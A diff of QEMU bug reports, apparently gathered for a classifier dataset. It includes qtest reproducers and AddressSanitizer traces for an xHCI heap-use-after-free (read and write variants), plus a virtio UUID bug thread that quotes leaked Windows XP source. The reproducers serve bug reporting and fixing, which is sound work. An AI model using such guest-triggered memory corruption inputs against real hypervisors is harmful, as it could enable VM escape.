vl.c:4709 + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/commit./1891341 b/results/classifier/deepseek-1/output/commit./1891341 new file mode 100644 index 00000000..a3c9d901 --- /dev/null +++ b/results/classifier/deepseek-1/output/commit./1891341 @@ -0,0 +1,221 @@ + +Heap-use-after-free in usb_packet_copy through iov_to_buf + +Hello, +Reproducer: + +cat << EOF | ./i386-softmmu/qemu-system-i386 -device nec-usb-xhci \ +-trace usb\* -device usb-audio -device usb-storage,drive=mydrive \ +-drive id=mydrive,file=null-co://,size=2M,format=raw,if=none \ +-nodefaults -nographic -qtest stdio +outl 0xcf8 0x80001016 +outl 0xcfc 0x3c009f0d +outl 0xcf8 0x80001004 +outl 0xcfc 0xc77695e +writel 0x9f0d000000000040 0xffff3655 +writeq 0x9f0d000000002000 0xff2f9e0000000000 +write 0x1d 0x1 0x27 +write 0x2d 0x1 0x2e +write 0x17232 0x1 0x03 +write 0x17254 0x1 0x06 +write 0x17278 0x1 0x34 +write 0x3d 0x1 0x27 +write 0x40 0x1 0x2e +write 0x41 0x1 0x72 +write 0x42 0x1 0x01 +write 0x4d 0x1 0x2e +write 0x4f 0x1 0x01 +writeq 0x9f0d000000002000 0x5c051a0100000000 +write 0x34001d 0x1 0x13 +write 0x340026 0x1 0x30 +write 0x340028 0x1 0x08 +write 0x34002c 0x1 0xfe +write 0x34002d 0x1 0x08 +write 0x340037 0x1 0x5e +write 0x34003a 0x1 0x05 +write 0x34003d 0x1 0x05 +write 0x34004d 0x1 0x13 +writeq 0x9f0d000000002000 0xff00010100400009 +EOF + + +Abridged trace: +... +[R +0.032356] writel 0x9f0d000000000040 0xffff3655 +4760@1597243414.491762:usb_xhci_oper_write off 0x0000, val 0xffff3655 +4760@1597243414.491765:usb_xhci_run +4760@1597243414.491769:usb_xhci_irq_intx level 0 +OK +[S +0.032371] OK +[R +0.032376] writeq 0x9f0d000000002000 0xff2f9e0000000000 +4760@1597243414.491784:usb_xhci_doorbell_write off 0x0000, val 0x00000000 +4760@1597243414.491793:usb_xhci_fetch_trb addr 0x0000000000000000, TRB_RESERVED, p 0x0000000000000000, s 0x00000000, c 0x00000000 +4760@1597243414.491798:usb_xhci_doorbell_write off 0x0004, val 0xff2f9e00 +OK +[S +0.032400] OK +... + +[R +0.032495] writeq 0x9f0d000000002000 0x5c051a0100000000 +4760@1597243414.491899:usb_xhci_doorbell_write off 0x0000, val 0x00000000 +4760@1597243414.491902:usb_xhci_fetch_trb addr 0x0000000000000010, CR_ENABLE_SLOT, p 0x0000000000000000, s 0x00000000, c 0x00002700 +4760@1597243414.491906:usb_xhci_slot_enable slotid 1 +4760@1597243414.491909:usb_xhci_fetch_trb addr 0x0000000000000020, CR_ADDRESS_DEVICE, p 0x0000000000000000, s 0x00000000, c 0x00002e00 +4760@1597243414.491914:usb_xhci_fetch_trb addr 0x0000000000000030, CR_ENABLE_SLOT, p 0x0000000000000000, s 0x00000000, c 0x00002700 +4760@1597243414.491917:usb_xhci_slot_enable slotid 2 +4760@1597243414.491920:usb_xhci_fetch_trb addr 0x0000000000000040, CR_ADDRESS_DEVICE, p 0x000000000001722e, s 0x00000000, c 0x01002e00 +4760@1597243414.491925:usb_xhci_slot_address slotid 1, port 2 +4760@1597243414.491931:usb_xhci_ep_enable slotid 1, epid 1 +4760@1597243414.491937:usb_xhci_fetch_trb addr 0x0000000000000050, TRB_RESERVED, p 0x0000000000000000, s 0x00000000, c 0x00000000 +4760@1597243414.491941:usb_xhci_doorbell_write off 0x0004, val 0x5c051a01 +4760@1597243414.491945:usb_xhci_ep_kick slotid 1, epid 1, streamid 23557 +4760@1597243414.491955:usb_xhci_fetch_trb addr 0x0000000000340000, TRB_RESERVED, p 0x0000000000000000, s 0x00000000, c 0x00000000 +OK +[S +0.032563] OK +... + +OK +[S +0.032643] OK +[R +0.032648] writeq 0x9f0d000000002000 0xff00010100400009 +4760@1597243414.492052:usb_xhci_doorbell_write off 0x0000, val 0x00400009 +4760@1597243414.492055:usb_xhci_doorbell_write off 0x0004, val 0xff000101 +4760@1597243414.492058:usb_xhci_ep_kick slotid 1, epid 1, streamid 65280 +4760@1597243414.492063:usb_xhci_fetch_trb addr 0x0000000000340010, TR_STATUS, p 0x0000000000000000, s 0x00000000, c 0x00001300 +4760@1597243414.492067:usb_xhci_xfer_start 0x611000045140: slotid 1, epid 1, streamid 0 +4760@1597243414.492074:usb_xhci_fetch_trb addr 0x0000000000340020, TR_SETUP, p 0x0030000000000000, s 0x00000008, c 0x000008fe +4760@1597243414.492078:usb_xhci_fetch_trb addr 0x0000000000340030, TR_NORMAL, p 0x5e00000000000000, s 0x00050000, c 0x00000500 +4760@1597243414.492081:usb_xhci_fetch_trb addr 0x0000000000340040, TR_STATUS, p 0x0000000000000000, s 0x00000000, c 0x00001300 +4760@1597243414.492084:usb_xhci_xfer_start 0x611000045280: slotid 1, epid 1, streamid 0 +4760@1597243414.492089:usb_packet_state_change bus 0, port 2, ep 0, packet 0x611000045288, state undef -> setup +================================================================= +==4760==ERROR: AddressSanitizer: heap-use-after-free on address 0x625000341000 at pc 0x562d20cd6847 bp 0x7ffccc326780 sp 0x7ffccc325f48 +READ of size 48 at 0x625000341000 thread T0 + #0 0x562d20cd6846 in __asan_memcpy (build/i386-softmmu/qemu-system-i386+0x250d846) + #1 0x562d22a6b374 in iov_to_buf_full util/iov.c:52:13 + #2 0x562d21ee5139 in iov_to_buf include/qemu/iov.h:62:16 + #3 0x562d21ee5139 in usb_packet_copy hw/usb/core.c:595:9 + #4 0x562d21ee96b4 in do_parameter hw/usb/core.c:284:9 + #5 0x562d21ee96b4 in usb_process_one hw/usb/core.c:369:13 + #6 0x562d21ee6ad8 in usb_handle_packet hw/usb/core.c:419:9 + #7 0x562d21f927b6 in xhci_kick_epctx hw/usb/hcd-xhci.c + #8 0x562d21fb337d in xhci_doorbell_write hw/usb/hcd-xhci.c:3162:13 + #9 0x562d212f1b8e in memory_region_write_accessor softmmu/memory.c:483:5 + #10 0x562d212f158b in access_with_adjusted_size softmmu/memory.c:544:18 + #11 0x562d212f0d9b in memory_region_dispatch_write softmmu/memory.c + #12 0x562d20d344d2 in flatview_write_continue exec.c:3176:23 + #13 0x562d20d29e6b in flatview_write exec.c:3216:14 + #14 0x562d20d29e6b in address_space_write exec.c:3308:18 + #15 0x562d213322a9 in qtest_process_command softmmu/qtest.c:452:13 + #16 0x562d2132f087 in qtest_process_inbuf softmmu/qtest.c:710:9 + #17 0x562d22802293 in fd_chr_read chardev/char-fd.c:68:9 + #18 0x7f6b5673b897 in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4e897) + #19 0x562d22a821b3 in glib_pollfds_poll util/main-loop.c:217:9 + #20 0x562d22a821b3 in os_host_main_loop_wait util/main-loop.c:240:5 + #21 0x562d22a821b3 in main_loop_wait util/main-loop.c:516:11 + #22 0x562d21340008 in qemu_main_loop softmmu/vl.c:1676:9 + #23 0x562d228b10fd in main softmmu/main.c:49:5 + +0x625000341000 is located 0 bytes inside of 4096-byte region [0x625000341000,0x625000342000) +freed by thread T0 here: + #0 0x562d20cd716d in free (build/i386-softmmu/qemu-system-i386+0x250e16d) + #1 0x562d22a02242 in qemu_vfree util/oslib-posix.c:247:5 + #2 0x562d20d2d019 in address_space_unmap exec.c:3637:5 + #3 0x562d21f09bbb in dma_memory_unmap include/sysemu/dma.h:145:5 + #4 0x562d21f09bbb in usb_packet_unmap hw/usb/libhw.c:65:9 + #5 0x562d21f0966f in usb_packet_map hw/usb/libhw.c:54:5 + #6 0x562d21f985f1 in xhci_setup_packet hw/usb/hcd-xhci.c:1618:5 + #7 0x562d21f92143 in xhci_fire_ctl_transfer hw/usb/hcd-xhci.c:1722:9 + #8 0x562d21f92143 in xhci_kick_epctx hw/usb/hcd-xhci.c:1991:13 + #9 0x562d21fb337d in xhci_doorbell_write hw/usb/hcd-xhci.c:3162:13 + #10 0x562d212f1b8e in memory_region_write_accessor softmmu/memory.c:483:5 + #11 0x562d212f158b in access_with_adjusted_size softmmu/memory.c:544:18 + #12 0x562d212f0d9b in memory_region_dispatch_write softmmu/memory.c + #13 0x562d20d344d2 in flatview_write_continue exec.c:3176:23 + #14 0x562d20d29e6b in flatview_write exec.c:3216:14 + #15 0x562d20d29e6b in address_space_write exec.c:3308:18 + #16 0x562d213322a9 in qtest_process_command softmmu/qtest.c:452:13 + #17 0x562d2132f087 in qtest_process_inbuf softmmu/qtest.c:710:9 + #18 0x562d22802293 in fd_chr_read chardev/char-fd.c:68:9 + #19 0x7f6b5673b897 in g_main_context_dispatch + +previously allocated by thread T0 here: + #0 0x562d20cd7ea7 in posix_memalign (build/i386-softmmu/qemu-system-i386+0x250eea7) + #1 0x562d22a01995 in qemu_try_memalign util/oslib-posix.c:207:11 + #2 0x562d22a01d48 in qemu_memalign util/oslib-posix.c:223:27 + #3 0x562d20d2c8f0 in address_space_map exec.c:3586:25 + #4 0x562d21f093cb in dma_memory_map include/sysemu/dma.h:135:9 + #5 0x562d21f093cb in usb_packet_map hw/usb/libhw.c:39:19 + #6 0x562d21f985f1 in xhci_setup_packet hw/usb/hcd-xhci.c:1618:5 + #7 0x562d21f92143 in xhci_fire_ctl_transfer hw/usb/hcd-xhci.c:1722:9 + #8 0x562d21f92143 in xhci_kick_epctx hw/usb/hcd-xhci.c:1991:13 + #9 0x562d21fb337d in xhci_doorbell_write hw/usb/hcd-xhci.c:3162:13 + #10 0x562d212f1b8e in memory_region_write_accessor softmmu/memory.c:483:5 + #11 0x562d212f158b in access_with_adjusted_size softmmu/memory.c:544:18 + #12 0x562d212f0d9b in memory_region_dispatch_write softmmu/memory.c + #13 0x562d20d344d2 in flatview_write_continue exec.c:3176:23 + #14 0x562d20d29e6b in flatview_write exec.c:3216:14 + #15 0x562d20d29e6b in address_space_write exec.c:3308:18 + #16 0x562d213322a9 in qtest_process_command softmmu/qtest.c:452:13 + #17 0x562d2132f087 in qtest_process_inbuf softmmu/qtest.c:710:9 + #18 0x562d22802293 in fd_chr_read chardev/char-fd.c:68:9 + #19 0x7f6b5673b897 in g_main_context_dispatch + +-Alex + +For completeness sake, the same issue can lead to a write when the pid is USB_TOKEN_IN: + +cat << EOF | ./i386-softmmu/qemu-system-i386 -device nec-usb-xhci \ +-trace usb\* -device usb-audio -device usb-storage,drive=mydrive \ +-drive id=mydrive,file=null-co://,size=2M,format=raw,if=none \ +-nodefaults -nographic -qtest stdio +outl 0xcf8 0x80001014 +outw 0xcfc 0x874 +outl 0xcf8 0x80001004 +outl 0xcfc 0xed1c695e +write 0xd 0x1 0x27 +write 0x1d 0x1 0x84 +writel 0x87400000040 0xffffd855 +writeq 0x87400002000 0xff05140100000000 +write 0x3d 0x1 0x27 +write 0x4d 0x1 0x2e +write 0x17232 0x1 0x03 +write 0x17254 0x1 0x05 +write 0x17276 0x1 0x72 +write 0x17278 0x1 0x02 +write 0x5d 0x1 0x27 +write 0x60 0x1 0x2e +write 0x61 0x1 0x72 +write 0x62 0x1 0x01 +write 0x6d 0x1 0x2e +write 0x6f 0x1 0x01 +write 0x2007c 0x1 0xc7 +writeq 0x87400002000 0x5c05140100000000 +write 0x20070 0x1 0x80 +write 0x20071 0x1 0x06 +write 0x20073 0x1 0x02 +write 0x20077 0x1 0x02 +write 0x20078 0x1 0x08 +write 0x2007c 0x1 0xfe +write 0x2007d 0x1 0x08 +write 0x20080 0x1 0xfe +write 0x20081 0x1 0xff +write 0x20082 0x1 0x0b +write 0x20089 0x1 0x8c +write 0x2008d 0x1 0x04 +write 0x2009d 0x1 0x10 +writeq 0x87400002000 0x2505ef019e092f00 +EOF + + +==14239==ERROR: AddressSanitizer: heap-use-after-free on address 0x62500030f000 at pc 0x5568a88618fa bp 0x7fff4b8c4be0 sp 0x7fff4b8c43a8 +WRITE of size 111 at 0x62500030f000 thread T0 + #0 0x5568a88618f9 in __asan_memcpy + #1 0x5568aa5f5ed4 in iov_from_buf_full util/iov.c:33:13 + #2 0x5568a9a70041 in iov_from_buf include/qemu/iov.h:49:16 + #3 0x5568a9a70041 in usb_packet_copy hw/usb/core.c:598:9 + #4 0x5568a9a71ad8 in usb_handle_packet hw/usb/core.c:419:9 +... + +-Alex + +Fixed in commit 21bc31524e8ca487e976f713b878d7338ee00df2 + diff --git a/results/classifier/deepseek-1/output/community./1119281 b/results/classifier/deepseek-1/output/community./1119281 new file mode 100644 index 00000000..0f54e201 --- /dev/null +++ b/results/classifier/deepseek-1/output/community./1119281 @@ -0,0 +1,814 @@ + +The virtio network device breaks UuidCreateSequential() + +UuidCreateSequential() usually creates version 1 UUIDs (1) which means they contain the main network card's MAC address. However when using a virtio network card and driver the UUIDs contain random data instead of the guest's MAC address. Changing the network card to either the default rtl8139 one or the e1000 one fixes the issue. + +Here is the software I have tested this with: + * qemu 1.1.2+dfsg-5 and 1.4.0~rc0+dfsg-1exp (from Debian Testing and Experimental respectively) + * The 0.1-49 and 0.1-52 Windows virtio drivers from https://alt.fedoraproject.org/pub/alt/virtio-win/latest/images/bin/ + * Both a 32-bit Windows XP guest and a 64-bit Windows 7 one. + + +Here is how to test for this issue: +* Set up a Windows guest with a single network card(2), a virtio one and install the corresponding driver. + +* Boot the guest and copy the uuidtest.exe file (see attachement) to it + +* On the command line, type 'ipconfig /all'. Give you the correct network card's MAC address on a line like the one below: + + Physical Address. . . . . . . . . : 52-54-00-C7-0E-97 + +* Run uuidtest.exe. It will show the VM returning a UUID with the wrong MAC address, and quite possibly even a multicast MAC address! (3). In the example below 'f75292c62787' should have been the MAC address. Note that on Windows XP UuidCreateSequential() returns RPC_S_UUID_LOCAL_ONLY for virtio cards but that on Windows 7 it returns 0. + + UuidCreateSequential() returned 0 + uuid={56e1ffe4-71d8-11e2-b1cc-f75292c62787} + Got a version 1 UUID + The UUID does not contain a non-multicast MAC address + +* Reboot and notice uuidtest.exe now reports a different value where the MAC address should be. + +* Shut down the VM and switch the network card to rtl8139, install the drivers, run uuidtest.exe and notice that the last group of digits finally contains the correct MAC address. + + +(1) https://en.wikipedia.org/wiki/Globally_unique_identifier#Algorithm +(2) Best do it with a single card to avoid confusion over which is the primary one. +(3) If the first byte of the address is odd then this is a multicast address. + https://en.wikipedia.org/wiki/MAC_address#Address_details + + + +On Fri, Feb 08, 2013 at 10:45:03AM -0000, Francois Gouget wrote: +> Public bug reported: +> +> UuidCreateSequential() usually creates version 1 UUIDs (1) which means +> they contain the main network card's MAC address. However when using a +> virtio network card and driver the UUIDs contain random data instead of +> the guest's MAC address. Changing the network card to either the default +> rtl8139 one or the e1000 one fixes the issue. + +CCing Yan and Vadim, who work on the virtio-win drivers. + +> +> Here is the software I have tested this with: +> * qemu 1.1.2+dfsg-5 and 1.4.0~rc0+dfsg-1exp (from Debian Testing and Experimental respectively) +> * The 0.1-49 and 0.1-52 Windows virtio drivers from https://alt.fedoraproject.org/pub/alt/virtio-win/latest/images/bin/ +> * Both a 32-bit Windows XP guest and a 64-bit Windows 7 one. +> +> +> Here is how to test for this issue: +> * Set up a Windows guest with a single network card(2), a virtio one and install the corresponding driver. +> +> * Boot the guest and copy the uuidtest.exe file (see attachement) to it +> +> * On the command line, type 'ipconfig /all'. Give you the correct +> network card's MAC address on a line like the one below: +> +> Physical Address. . . . . . . . . : 52-54-00-C7-0E-97 +> +> * Run uuidtest.exe. It will show the VM returning a UUID with the wrong +> MAC address, and quite possibly even a multicast MAC address! (3). In +> the example below 'f75292c62787' should have been the MAC address. Note +> that on Windows XP UuidCreateSequential() returns RPC_S_UUID_LOCAL_ONLY +> for virtio cards but that on Windows 7 it returns 0. +> +> UuidCreateSequential() returned 0 +> uuid={56e1ffe4-71d8-11e2-b1cc-f75292c62787} +> Got a version 1 UUID +> The UUID does not contain a non-multicast MAC address +> +> * Reboot and notice uuidtest.exe now reports a different value where the +> MAC address should be. +> +> * Shut down the VM and switch the network card to rtl8139, install the +> drivers, run uuidtest.exe and notice that the last group of digits +> finally contains the correct MAC address. +> +> +> (1) https://en.wikipedia.org/wiki/Globally_unique_identifier#Algorithm +> (2) Best do it with a single card to avoid confusion over which is the primary one. +> (3) If the first byte of the address is odd then this is a multicast address. +> https://en.wikipedia.org/wiki/MAC_address#Address_details +> +> ** Affects: qemu +> Importance: Undecided +> Status: New +> +> ** Attachment added: "Test executable and source" +> https://bugs.launchpad.net/bugs/1119281/+attachment/3520477/+files/uuidtest.tar.bz2 + + +On Mon, Feb 11, 2013 at 11:13 AM, Stefan Hajnoczi <email address hidden>wrote: + +> On Fri, Feb 08, 2013 at 10:45:03AM -0000, Francois Gouget wrote: +> > Public bug reported: +> > +> > UuidCreateSequential() usually creates version 1 UUIDs (1) which means +> > they contain the main network card's MAC address. However when using a +> > virtio network card and driver the UUIDs contain random data instead of +> > the guest's MAC address. Changing the network card to either the default +> > rtl8139 one or the e1000 one fixes the issue. +> +> CCing Yan and Vadim, who work on the virtio-win drivers. +> +> > +> > Here is the software I have tested this with: +> > * qemu 1.1.2+dfsg-5 and 1.4.0~rc0+dfsg-1exp (from Debian Testing and +> Experimental respectively) +> > * The 0.1-49 and 0.1-52 Windows virtio drivers from +> https://alt.fedoraproject.org/pub/alt/virtio-win/latest/images/bin/ +> > * Both a 32-bit Windows XP guest and a 64-bit Windows 7 one. +> > +> > +> > Here is how to test for this issue: +> > * Set up a Windows guest with a single network card(2), a virtio one and +> install the corresponding driver. +> > +> > * Boot the guest and copy the uuidtest.exe file (see attachement) to it +> > +> > * On the command line, type 'ipconfig /all'. Give you the correct +> > network card's MAC address on a line like the one below: +> > +> > Physical Address. . . . . . . . . : 52-54-00-C7-0E-97 +> > +> > * Run uuidtest.exe. It will show the VM returning a UUID with the wrong +> > MAC address, and quite possibly even a multicast MAC address! (3). In +> > the example below 'f75292c62787' should have been the MAC address. Note +> > that on Windows XP UuidCreateSequential() returns RPC_S_UUID_LOCAL_ONLY +> > for virtio cards but that on Windows 7 it returns 0. +> > +> > UuidCreateSequential() returned 0 +> > uuid={56e1ffe4-71d8-11e2-b1cc-f75292c62787} +> > Got a version 1 UUID +> > The UUID does not contain a non-multicast MAC address +> > +> > * Reboot and notice uuidtest.exe now reports a different value where the +> > MAC address should be. +> > +> > * Shut down the VM and switch the network card to rtl8139, install the +> > drivers, run uuidtest.exe and notice that the last group of digits +> > finally contains the correct MAC address. +> > +> > +> > (1) https://en.wikipedia.org/wiki/Globally_unique_identifier#Algorithm +> > (2) Best do it with a single card to avoid confusion over which is the +> primary one. +> > (3) If the first byte of the address is odd then this is a multicast +> address. +> > https://en.wikipedia.org/wiki/MAC_address#Address_details +> > +> > ** Affects: qemu +> > Importance: Undecided +> > Status: New +> > +> > ** Attachment added: "Test executable and source" +> > +> https://bugs.launchpad.net/bugs/1119281/+attachment/3520477/+files/uuidtest.tar.bz2 +> + + +I did a quick check for this issue. First off all +while UuidCreateSequential should use mac address, there is no indication +that it must do it. And as we don't have source code for Rpcrt4.lib it is +hard to estimated what should be the exact behavior of this function (I can +use reactos source code - but we cannot count on it). +What I see from our debug trace that there are no OID calls to NIC while +using this function to get our current or permanent MAC address. And we +know that those OIDs work well: a. because you see correct MAC using +ipconfig of getmac (also is verified by Red Hat QE during manual functional +tests). b. We pass WHQL tests that set valid and invalid mac addresses +automatically and tests for correct behavior. So UuidCreateSequential +either takes this value from somewhere in registry or generates it by some +other mean. + +I can try and assume how it should work using ReactOS code. +From reactos UuidCreateSequential: +http://doxygen.reactos.org/df/def/rpcdce_8h_a884acec185f2f0a999a8375cd04f61c9.html +It will use GetAdaptersInfo. I ran the code in the MS documentation +http://msdn.microsoft.com/en-us/library/windows/desktop/aa365917(v=vs.85).aspx- +and once again the mac address of virtio adapter is correct. + + +Might be related: +http://support.microsoft.com/kb/981080?wa=wsignin1.0 +http://support.microsoft.com/kb/2569646 + + +Best regards, +Yan. + + +This bug is still present in QEM 1.6.0 (qemu-system-x86 1.6.0+dfsg-1) and/or Virtio 0.1-65. + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + + + + + +The issue is still there in 2023. +Well since XP's source code had been leaked. I've gone through the source code and may have found the cause. + +Nowadays UuidCreateSequential should use MAC address when available. +Here I quoted from the link below: +"For security reasons, UuidCreate was modified so that it no longer uses a machine's MAC address to generate UUIDs. UuidCreateSequential was introduced to allow creation of UUIDs using the MAC address of a machine's Ethernet card." +https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidcreatesequential + +Now let take a look at XP's code: +UuidCreateSequential() in dceuuid.cxx: +https://github.com/tongzx/nt5src/blob/daad8a087a4e75422ec96b7911f1df4669989611/Source/XPSP1/NT/com/rpc/runtime/mtrt/dceuuid.cxx#L122 + +RPC_STATUS RPC_ENTRY +UuidCreateSequential ( + OUT UUID PAPI * Uuid + ) +/*++ + +Routine Description: + + This routine will create a new UUID (or GUID) which is unique in + time and space. We will try to guarantee that the UUID (or GUID) + we generate is unique in time and space. This means that this + routine may fail if we can not generate one which we can guarantee + is unique in time and space. + +Arguments: + + Uuid - Returns the generated UUID (or GUID). + +Return Value: + + RPC_S_OK - The operation completed successfully. + + RPC_S_UUID_NO_ADDRESS - We were unable to obtain the ethernet or + token ring address for this machine. + + RPC_S_UUID_LOCAL_ONLY - On NT & Chicago if we can't get a + network address. This is a warning to the user, the + UUID is still valid, it just may not be unique on other machines. + + RPC_S_OUT_OF_MEMORY - Returned as needed. +--*/ +{ + RPC_UUID_GENERATE PAPI * RpcUuid = (RPC_UUID_GENERATE PAPI *) Uuid; + RPC_STATUS Status = RPC_S_OK; + static DWORD LastTickCount = 0; + + InitializeIfNecessary(); + + if (GetTickCount()-LastTickCount > MAX_CACHED_UUID_TIME) + { + UuidCachedValues.AllocatedCount = 0; + LastTickCount = GetTickCount(); + } + + ULARGE_INTEGER Time; + long Delta; + + for(;;) + { + Time.QuadPart = UuidCachedValues.Time.QuadPart; + + // Copy the static info into the UUID. We can't do this later + // because the clock sequence could be updated by another thread. + + *(unsigned long *)&RpcUuid->ClockSeqHiAndReserved = + *(unsigned long *)&UuidCachedValues.ClockSeqHiAndReserved; + *(unsigned long *)&RpcUuid->NodeId[2] = + *(unsigned long *)&UuidCachedValues.NodeId[2]; + + Delta = InterlockedDecrement(&UuidCachedValues.AllocatedCount); + + if (Time.QuadPart != UuidCachedValues.Time.QuadPart) + { + // If our captured time doesn't match the cache then another + // thread already took the lock and updated the cache. We'll + // just loop and try again. + continue; + } + + if (Delta >= 0) + { + break; + } + + // + // Allocate block of Uuids. + // + + Status = UuidGetValues( &UuidCachedValues ); + if (Status == RPC_S_OK) + { + UuidCacheValid = CACHE_VALID; + } + else + { + UuidCacheValid = CACHE_LOCAL_ONLY; + } + + if (Status != RPC_S_OK + && Status != RPC_S_UUID_LOCAL_ONLY) + { +#ifdef DEBUGRPC + if (Status != RPC_S_OUT_OF_MEMORY) + PrintToDebugger("RPC: UuidGetValues returned or raised: %x\n", Status); +#endif + ASSERT( (Status == RPC_S_OUT_OF_MEMORY) ); + + + return Status; + } + + // Loop + } + + + Time.QuadPart -= Delta; + + RpcUuid->TimeLow = (unsigned long) Time.LowPart; + RpcUuid->TimeMid = (unsigned short) (Time.HighPart & 0x0000FFFF); + RpcUuid->TimeHiAndVersion = (unsigned short) + (( (unsigned short)(Time.HighPart >> 16) + & RPC_UUID_TIME_HIGH_MASK) | RPC_UUID_VERSION); + + ASSERT( Status == RPC_S_OK + || Status == RPC_S_UUID_LOCAL_ONLY); + + if (UuidCacheValid == CACHE_LOCAL_ONLY) + { + return RPC_S_UUID_LOCAL_ONLY; + } + + return(Status); +} + +UuidGetValues() in uuidsup.cxx: +https://github.com/tongzx/nt5src/blob/daad8a087a4e75422ec96b7911f1df4669989611/Source/XPSP1/NT/com/rpc/runtime/mtrt/uuidsup.cxx#L43 + +UuidGetValues( + OUT UUID_CACHED_VALUES_STRUCT __RPC_FAR *Values + ) +/*++ + +Routine Description: + + This routine allocates a block of uuids for UuidCreate to handout. + +Arguments: + + Values - Set to contain everything needed to allocate a block of uuids. + The following fields will be updated here: + + NextTimeLow - Together with LastTimeLow, this denotes the boundaries + of a block of Uuids. The values between NextTimeLow + and LastTimeLow are used in a sequence of Uuids returned + by UuidCreate(). + + LastTimeLow - See NextTimeLow. + + ClockSequence - Clock sequence field in the uuid. This is changed + when the clock is set backward. + +Return Value: + + RPC_S_OK - We successfully allocated a block of uuids. + + RPC_S_OUT_OF_MEMORY - As needed. +--*/ +{ + NTSTATUS NtStatus; + ULARGE_INTEGER Time; + ULONG Range; + ULONG Sequence; + int Tries = 0; + + do { + NtStatus = NtAllocateUuids(&Time, &Range, &Sequence, (char *) &Values->NodeId[0]); + + if (NtStatus == STATUS_RETRY) + { + Sleep(1); + } + + Tries++; + + if (Tries == 20) + { +#ifdef DEBUGRPC + PrintToDebugger("Rpc: NtAllocateUuids retried 20 times!\n"); + ASSERT(Tries < 20); +#endif + NtStatus = STATUS_UNSUCCESSFUL; + } + + } while(NtStatus == STATUS_RETRY); + + if (!NT_SUCCESS(NtStatus)) + { + return(RPC_S_OUT_OF_MEMORY); + } + + // NtAllocateUuids keeps time in SYSTEM_TIME format which is 100ns ticks since + // Jan 1, 1601. UUIDs use time in 100ns ticks since Oct 15, 1582. + + // 17 Days in Oct + 30 (Nov) + 31 (Dec) + 18 years and 5 leap days. + + Time.QuadPart += (unsigned __int64) (1000*1000*10) // seconds + * (unsigned __int64) (60 * 60 * 24) // days + * (unsigned __int64) (17+30+31+365*18+5); // # of days + + ASSERT(Range); + + Values->ClockSeqHiAndReserved = + RPC_UUID_RESERVED | (((unsigned char) (Sequence >> 8)) + & (unsigned char) RPC_UUID_CLOCK_SEQ_HI_MASK); + + Values->ClockSeqLow = (unsigned char) (Sequence & 0x00FF); + + // The order of these assignments is important + + Values->Time.QuadPart = Time.QuadPart + (Range - 1); + Values->AllocatedCount = Range; + + if ((Values->NodeId[0] & 0x80) == 0) + { + return(RPC_S_OK); + } + + return (RPC_S_UUID_LOCAL_ONLY); +} + + +NtAllocateUuids() in uuid.c: +https://github.com/tongzx/nt5src/blob/daad8a087a4e75422ec96b7911f1df4669989611/Source/XPSP1/NT/base/ntos/ex/uuid.c#L545 + +/*++ + +Copyright (c) 1994-1997 Microsoft Corporation + +Module Name: + + uuid.c + +Abstract: + + This module implements the core time and sequence number allocation + for UUIDs (exposed to user mode), as well as complete UUID + creation (exposed to kernel mode only). + + (e.g. RPC Runtime) (e.g. NTFS) + | | + V V + NtAllocateUuids ExUuidCreate + | | + V V + | ExpUuidGetValues + | | + | | + +------> ExpAllocateUuids <----+ +NTSTATUS +NtAllocateUuids ( + OUT PULARGE_INTEGER Time, + OUT PULONG Range, + OUT PULONG Sequence, + OUT PCHAR Seed + ) + +/*++ + +Routine Description: + + This function reserves a range of time for the caller(s) to use for + handing out Uuids. As far a possible the same range of time and + sequence number will never be given out. + + (It's possible to reboot 2^14-1 times and set the clock backwards and then + call this allocator and get a duplicate. Since only the low 14bits of the + sequence number are used in a real uuid.) + +Arguments: + + Time - Supplies the address of a variable that will receive the + start time (SYSTEMTIME format) of the range of time reserved. + + Range - Supplies the address of a variable that will receive the + number of ticks (100ns) reserved after the value in Time. + The range reserved is *Time to (*Time + *Range - 1). + + Sequence - Supplies the address of a variable that will receive + the time sequence number. This value is used with the associated + range of time to prevent problems with clocks going backwards. + + Seed - Pointer to a 6 byte buffer. The current seed is written into this buffer. + +Return Value: + + STATUS_SUCCESS is returned if the service is successfully executed. + + STATUS_RETRY is returned if we're unable to reserve a range of + UUIDs. This may (?) occur if system clock hasn't advanced + and the allocator is out of cached values. + + STATUS_ACCESS_VIOLATION is returned if the output parameter for the + UUID cannot be written. + + STATUS_UNSUCCESSFUL is returned if some other service reports + an error, most likly the registery. + +--*/ + +{ + + KPROCESSOR_MODE PreviousMode; + NTSTATUS Status; + + LARGE_INTEGER OutputTime; + ULONG OutputRange; + ULONG OutputSequence; + PKTHREAD CurrentThread; + + PAGED_CODE(); + + // + // Establish an exception handler and attempt to write the output + // arguments. If the write attempt fails, then return + // the exception code as the service status. Otherwise return success + // as the service status. + // + + try { + + // + // Get previous processor mode and probe arguments if necessary. + // + + PreviousMode = KeGetPreviousMode(); + if (PreviousMode != KernelMode) { + ProbeForWriteSmallStructure((PVOID)Time, sizeof(LARGE_INTEGER), sizeof(ULONG)); + ProbeForWriteSmallStructure((PVOID)Range, sizeof(ULONG), sizeof(ULONG)); + ProbeForWriteSmallStructure((PVOID)Sequence, sizeof(ULONG), sizeof(ULONG)); + ProbeForWriteSmallStructure((PVOID)Seed, SEED_SIZE, sizeof(CHAR)); + } + } except (ExSystemExceptionFilter()) { + return GetExceptionCode(); + } + + // Take the lock, because we're about to update the UUID cache. + CurrentThread = KeGetCurrentThread (); + KeEnterCriticalRegionThread(CurrentThread); + ExAcquireFastMutexUnsafe(&ExpUuidLock); + + // Get the sequence number and a range of times that can + // be used in UUID-generation. + + Status = ExpAllocateUuids( &OutputTime, &OutputRange, &OutputSequence ); + + if( !NT_SUCCESS(Status) ) { + ExReleaseFastMutexUnsafe(&ExpUuidLock); + KeLeaveCriticalRegionThread(CurrentThread); + return( Status ); + } + + // If necessary, save the sequence number. If there's an error, + // we'll just leave it marked as dirty, and retry on some future call. + + ExpUuidSaveSequenceNumberIf(); + + // Release the lock + 